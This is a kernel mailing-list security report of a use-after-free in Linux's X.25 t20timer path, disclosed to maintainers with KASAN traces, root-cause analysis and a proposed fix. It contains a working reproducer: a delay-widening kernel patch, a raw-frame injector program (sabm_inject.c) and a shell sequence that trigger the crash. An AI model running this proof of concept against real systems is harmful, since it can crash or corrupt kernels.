slab-use-after-free in x25_transmit_restart_request
From: luckdog <hidden>
Date: 2026-09-01 13:10:44
Also in:
lkml
Dear maintainers, I am reporting a slab use-after-free (UAF) in the X.25 neighbour/timer path. It was found by static auditing of net/x25 for timer-UAF patterns and then KASAN-verified. It is isomorphic to CVE-2025-21718 (rose_neigh): a refcounted neigh with an embedded self-re-arming timer whose free path does not synchronously stop the timer, so the timer callback can run after kfree(nb) and dereference freed memory. Observed on Linux v7.3-rc1. (commit: cee9395acd8043be0644b25c34bfa86623f2b935). This mail contains: the KASAN evidence, the buggy code, the root cause, the reproducible PoC (a small in-kernel delay-only helper + a userspace SABM/UA injector + the shell sequence), and a proposed fix. Call Trace & Context ================================================================== BUG: KASAN: slab-use-after-free in x25_transmit_restart_request+0x245/0x260 Read of size 4 at addr ffff888010dabd1c by task swapper/5/0 CPU: 5 UID: 0 PID: 0 Comm: swapper/5 Tainted: G B 7.3.0-rc1 #13 PREEMPT(lazy) Call Trace: <IRQ> x25_transmit_restart_request+0x245/0x260 # reads nb->extended (offset 0x1c) x25_t20timer_expiry+0x8d/0x110 # the t20timer callback call_timer_fn+0x36/0x2b0 __run_timers+0x609/0x960 run_timer_softirq+0x1ba/0x210 handle_softirqs+0x17f/0x590 # TIMER_SOFTIRQ __irq_exit_rcu+0xc1/0x160 sysvec_apic_timer_interrupt+0x70/0x80 </IRQ> Allocated by task 3088: x25_link_device_up+0x47/0x490 # nb allocated on NETDEV_REGISTER(ARPHRD_X25) x25_device_event+0x1dd/0x2e0 register_netdevice / lapbeth_device_event (ip link set lapb0 up) Freed by task 3102: kfree+0x162/0x450 __x25_remove_neigh+0x1cd/0x270 # frees nb, does NOT stop the t20timer x25_link_device_down+0xb9/0x160 # NETDEV_UNREGISTER(lapb0) x25_device_event+0x1f9/0x2e0 unregister_netdevice_many_notify / lapbeth_device_event / rtnl_dellink (ip link del vb0) Second UAF site (timer core writing the freed timer_list): BUG: KASAN: slab-use-after-free in __run_timers+0x89b/0x960 Write of size 8 at addr ffff888010dabd48 by task swapper/5/0 # offset 0x48 inside freed nb (timer_list field) ================================================================== The read at offset 0x1c is `nb->extended`; the write at offset 0x48 is inside the embedded `struct timer_list t20timer`. Both are inside the freed `struct x25_neigh`. Execution Flow & Code Context The t20timer callback dereferences the neigh it is given and re-arms itself, with no self-held reference:
// net/x25/x25_link.c
static void x25_t20timer_expiry(struct timer_list *t)
{
struct x25_neigh *nb = timer_container_of(nb, t, t20timer); /* no ref taken */
x25_transmit_restart_request(nb); /* derefs nb->extended, nb->dev... */
x25_start_t20timer(nb); /* mod_timer(&nb->t20timer, ...) — re-arms */
}
The free path does not stop the timer before kfree:
// net/x25/x25_link.c
static void __x25_remove_neigh(struct x25_neigh *nb)
{
if (nb->node.next) {
list_del(&nb->node);
x25_neigh_put(nb); /* refcount_dec_and_test -> kfree(nb) */
/* no x25_stop_t20timer() here */
}
}
`x25_stop_t20timer` (used only by `x25_link_terminated`, the NETDEV_DOWN path) is the *async* `timer_delete` — it cancels a merely-pending timer but does NOT synchronise a concurrently-running callback and does NOT prevent the callback from re-arming:
static inline void x25_stop_t20timer(struct x25_neigh *nb)
{
timer_delete(&nb->t20timer); /* async; old del_timer semantics */
}
`struct x25_neigh` (include/net/x25.h:138-148) is refcounted (`refcount_t refcnt`) and embeds `struct timer_list t20timer`; the slab is plain kmalloc (not SLAB_TYPESAFE_BY_RCU). There are no call_rcu/ kfree_rcu/synchronize_rcu/timer_shutdown_sync primitives anywhere in net/x25. Root Cause Analysis This is the textbook "free a struct that still has an armed timer" bug (the same shape as CVE-2025-21718 / rose_neigh). Two free paths reach `__x25_remove_neigh` -> `x25_neigh_put` -> `kfree(nb)` without synchronously stopping the t20timer: 1) Device unregister (NETDEV_UNREGISTER / NETDEV_PRE_TYPE_CHANGE): x25_device_event -> x25_link_device_down -> __x25_remove_neigh -> kfree For an UP device, NETDEV_DOWN is sent first and calls x25_link_terminated -> x25_stop_t20timer (= async timer_delete). That cancels a merely-pending timer but, if the callback is mid-execution, timer_delete returns without waiting and the callback's x25_start_t20timer re-arms it; the subsequent NETDEV_UNREGISTER then kfrees nb while the timer is pending again -> it fires after kfree -> UAF. This path is a race (narrow; needs the callback mid-execution during the DOWN->UNREGISTER window). 2) Module unload (rmmod x25 -> x25_exit -> x25_link_free): x25_link_free -> __x25_remove_neigh -> kfree This path does NOT call x25_link_terminated and does NOT call x25_stop_t20timer at all, so if the t20timer is armed when the module is unloaded, kfree happens with the timer still pending -> the timer fires after kfree -> UAF. By analysis this path is deterministic (not a race): the timer is pending, the freer never cancels it, so it will fire after kfree. (I did not switch CONFIG_X25=m to exercise this path under KASAN; the KASAN evidence below was obtained on path 1.) In both paths the freer never synchronises the timer against the callback. The callback unconditionally re-arms (x25_start_t20timer) and dereferences nb (x25_transmit_restart_request reads nb->extended), so once kfree beats the callback (path 1 race) or simply precedes the next fire (path 2 deterministic), the callback/timer-core touches freed memory. Potential Impact Local. Path 1 requires CAP_NET_ADMIN (creating/bringing up an X.25 device and unregistering it — e.g. via lapbether over a veth pair). Path 2 requires CAP_SYS_MODULE (rmmod x25). Best characterised as a local DoS (kernel panic/Oops under KASAN; potential memory corruption otherwise) within the CAP_NET_ADMIN/CAP_SYS_MODULE boundary, not an unprivileged LPE. It is the same calibre as CVE-2025-21718 (rose_neigh). ================================================================== Reproducer ================================================================== The race in path 1 is narrow (the callback's post-kfree window must overlap the freer). To make it reproducible under KASAN I added a *gated, default-off* busy-wait in the callback. This is delay-only: it does NOT change the execution path. The callback still runs the same vanilla x25_transmit_restart_request + x25_start_t20timer; the freer still goes through the same vanilla __x25_remove_neigh -> kfree which still does not stop the timer. The helper only widens the callback's lifetime so the freer's kfree lands inside it. mdelay (not msleep) is used because x25_t20timer_expiry runs in TIMER_SOFTIRQ, which must not sleep. With delay=0 the kernel behaves exactly as upstream.
--- Helper patch (kernel, apply on top of v7.3-rc1) ---The following is the complete in-kernel helper. The pr_info lines are optional tracing (not needed for the repro to function; can be dropped); the repro-relevant parts are the includes, the debugfs toggle, and the gated mdelay.
--- a/net/x25/x25_link.c
+++ b/net/x25/x25_link.c
@@ -22,6 +22,8 @@
#include <linux/kernel.h>
#include <linux/jiffies.h>
#include <linux/timer.h>
#include <linux/slab.h>
+#include <linux/delay.h>
+#include <linux/debugfs.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/uaccess.h>
@@ -33,6 +35,16 @@ DEFINE_RWLOCK(x25_neigh_list_lock);
LIST_HEAD(x25_neigh_list);
DEFINE_RWLOCK(x25_neigh_list_lock);
+/* REPRO (delay-only): tunable delay for x25_t20timer_expiry. Default 0=no-op. */
+unsigned int x25_repro_cb_delay_ms;
+
+static int __init x25_repro_debugfs_init(void)
+{
+ debugfs_create_u32("x25_repro_cb_delay_ms", 0644, NULL,
+ &x25_repro_cb_delay_ms);
+ return 0;
+}
+late_initcall(x25_repro_debugfs_init);
+
static void x25_t20timer_expiry(struct timer_list *);
@@ -60,7 +72,17 @@ static void x25_t20timer_expiry(struct timer_list *t)
static void x25_t20timer_expiry(struct timer_list *t)
{
struct x25_neigh *nb = timer_container_of(nb, t, t20timer);
+ /* REPRO (delay-only): widen the callback's lifetime so a concurrent
+ * freer (x25_link_device_down/__x25_remove_neigh -> kfree(nb)) can
+ * free nb while this callback is still running. After the busy-wait,
+ * the post-delay derefs (x25_transmit_restart_request + x25_start_t20timer
+ * = mod_timer on &nb->t20timer) hit freed nb. Uses mdelay (NOT msleep)
+ * because this runs in TIMER_SOFTIRQ which must not sleep. No-op unless
+ * /sys/kernel/debug/x25_repro_cb_delay_ms > 0. NOT a fix. */
+ if (x25_repro_cb_delay_ms)
+ mdelay(x25_repro_cb_delay_ms);
+
x25_transmit_restart_request(nb);
x25_start_t20timer(nb);
}
(Optional tracing pr_info lines added in x25_link_established and __x25_remove_neigh to confirm timer-arming and the free path; omitted here for brevity — they are pure printk and do not change logic.)
--- Userspace PoC: sabm_inject.c ---Bring lapb0's L2 up so x25 arms the t20timer. lapbether's LAPB is DTE; sending a LAPB SABM (then a UA to complete state_1) on the veth peer causes lapb0 to connect -> x25_link_established -> arm t20timer. Build statically (gcc -static -o sabm_inject sabm_inject.c) and run as root in the guest.
/* sabm_inject.c — inject LAPB SABM then UA on a veth peer so lapbether's
* lapb0 connects and x25 arms the t20timer.
* Build: gcc -static -o sabm_inject sabm_inject.c
* Usage: sabm_inject <ifname> (send on ifname; peer end's lapb receives)
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <linux/if.h>
#include <arpa/inet.h>
#define ETH_P_DEC 0x6000
int main(int argc, char **argv){
if(argc < 2){ fprintf(stderr, "usage: %s <ifname> [count]\n", argv[0]); return 1; }
int count = (argc >= 3) ? atoi(argv[2]) : 1;
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(s < 0){ perror("socket"); return 1; }
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, argv[1], IFNAMSIZ-1);
if(ioctl(s, SIOCGIFINDEX, &ifr) < 0){ perror("ioctl SIOCGIFINDEX"); return 1; }
int ifindex = ifr.ifr_ifindex;
/* Send SABM then UA to cover both lapb state_0 (SABM->connect_indication)
* and state_1 (lapb self-sent SABM, UA->connect_confirmation).
* Frame: dst(bcast)+src+ethertype(ETH_P_DEC)+lapbether len(2 LE)+LAPB(addr,ctrl).
* SABM: ADDR_A(0x03) command, control SABM|P=1 (0x3F).
* UA: ADDR_B(0x01) response, control UA|F=1 (0x73). */
unsigned char sabm[18] = {
0xff,0xff,0xff,0xff,0xff,0xff, 0x00,0x11,0x22,0x33,0x44,0x55,
0x60,0x00, 0x02,0x00, 0x03,0x3f
};
unsigned char ua[18] = {
0xff,0xff,0xff,0xff,0xff,0xff, 0x00,0x11,0x22,0x33,0x44,0x55,
0x60,0x00, 0x02,0x00, 0x01,0x73
};
struct sockaddr_ll dst; memset(&dst, 0, sizeof(dst));
dst.sll_family = AF_PACKET;
dst.sll_protocol = htons(ETH_P_DEC);
dst.sll_ifindex = ifindex;
dst.sll_halen = 6;
memset(dst.sll_addr, 0xff, 6);
for(int i = 0; i < count; i++){
int n;
n = sendto(s, sabm, sizeof(sabm), 0, (struct sockaddr*)&dst, sizeof(dst));
if(n < 0){ perror("sendto sabm"); return 1; }
usleep(200000); /* 200ms: let lapb0 self-send SABM / process */
n = sendto(s, ua, sizeof(ua), 0, (struct sockaddr*)&dst, sizeof(dst));
if(n < 0){ perror("sendto ua"); return 1; }
if(count > 1) usleep(500000);
}
printf("sent %d SABM+UA pair(s) on %s\n", count, argv[1]);
return 0;
}
--- Reproduction sequence (root, KASAN kernel with X25=y/LAPB=y/LAPBETHER=y) ---
# 1. set t20 to the sysctl minimum (1*HZ = 1s; HZ=100 here) echo 100 > /proc/sys/net/x25/restart_request_timeout # 2. create a veth pair; lapbether auto-creates lapb0 (on vb0) + lapb1 (on veth0) ip link add dev vb0 type veth peer name veth1 ip link set dev vb0 up ip link set dev veth0 up ip link set dev lapb0 up # 3. enable the delay helper (5s busy-wait in the callback) echo 5000 > /sys/kernel/debug/x25_repro_cb_delay_ms # 4. bring lapb0's L2 up: inject SABM then UA on the veth peer (vb0's peer is veth0) ./sabm_inject veth0 # -> lapb0 connected -> x25_link_established -> t20timer armed (state_2) # -> timer fires -> callback busy-waits 5s # 5. trigger the freer: delete the underlying veth -> lapb0 unregistered ip link del vb0 # NETDEV_DOWN -> x25_link_terminated (async timer_delete; callback running -> not cancelled) # NETDEV_UNREGISTER -> x25_link_device_down -> __x25_remove_neigh -> kfree(nb) # callback wakes -> x25_transmit_restart_request(nb) reads freed nb -> KASAN Expected KASAN output (produced): BUG: KASAN: slab-use-after-free in x25_transmit_restart_request+0x245/0x260 Read of size 4 at ...dabd1c (nb->extended @ off 0x1c) x25_t20timer_expiry+0x8d/0x110 <- call_timer_fn <- __run_timers (TIMER_SOFTIRQ) BUG: KASAN: slab-use-after-free in __run_timers+0x89b/0x960 Write of size 8 at ...dabd48 (timer_list field @ off 0x48 inside freed nb) Allocated by: x25_link_device_up Freed by: kfree <- __x25_remove_neigh <- x25_link_device_down (NETDEV_UNREGISTER) The freer stack is the natural x25_link_device_down -> __x25_remove_neigh -> kfree path (no helper in the freer); the access stack is the vanilla x25_transmit_restart_request <- x25_t20timer_expiry callback. The core race is on the real vanilla code; the helper only widens the callback window. Why the helper is valid evidence (and what it does NOT prove): - UNCHANGED vs upstream: the reader (x25_t20timer_expiry callback) still runs vanilla x25_transmit_restart_request + x25_start_t20timer; the freer still runs vanilla __x25_remove_neigh -> kfree which still does not stop the timer. The freer is invoked by the natural NETDEV_UNREGISTER path (ip link del), not by the helper. - REPLACED: nothing. The helper only inserts a gated busy-wait at the start of the callback (delay=0 -> no-op -> vanilla behaviour). - PROVEN: when the callback is running (in the busy-wait) and the freer kfrees nb, the callback's post-busy-wait derefs of freed nb are a real slab-use-after-free (KASAN slab-use-after-free, exact field offsets 0x1c/0x48). The defect is not a false positive. - NOT PROVEN by this run: the deterministic module-unload path (rmmod x25 -> x25_link_free -> kfree with no timer stop) needs CONFIG_X25=m; it is deterministic by analysis (the timer is pending and never cancelled, so it fires after kfree) and the proposed fix covers it, but I did not switch X25=m to exercise it under KASAN. Proposed Fix The freer must synchronously stop the timer (and prevent re-arm) before the final put/kfree, and the existing stop must be synchronous:
--- a/net/x25/x25_link.c
+++ b/net/x25/x25_link.c
@@ static inline void x25_stop_t20timer(struct x25_neigh *nb)
- timer_delete(&nb->t20timer);
+ timer_shutdown_sync(&nb->t20timer); /* sync running callback + prevent re-arm */
@@ static void __x25_remove_neigh(struct x25_neigh *nb)
if (nb->node.next) {
+ x25_stop_t20timer(nb); /* stop before put/kfree (covers UNREGISTER + module unload) */
list_del(&nb->node);
x25_neigh_put(nb);
}
`timer_shutdown_sync` (the modern replacement for del_timer_sync that also disables the timer so the callback cannot re-arm it) fixes both the async `timer_delete` weakness in `x25_link_terminated` (NETDEV_DOWN) and the "no stop at all" in `__x25_remove_neigh` (NETDEV_UNREGISTER and module-unload). An alternative/complementary fix is to make `x25_t20timer_expiry` take a neigh reference for the duration of the callback (x25_neigh_hold on entry, x25_neigh_put on exit) so the freer's put cannot reach 0 while the callback runs; the timer_shutdown_sync change above is the smaller, more local fix and mirrors the fix pattern for CVE-2025-21718. I would be grateful if the maintainers could assess practical severity and pick a fix. If you have fixed this bug, please add "reported by: Jianzhou Zhao". Best regards, Jianzhou Zhao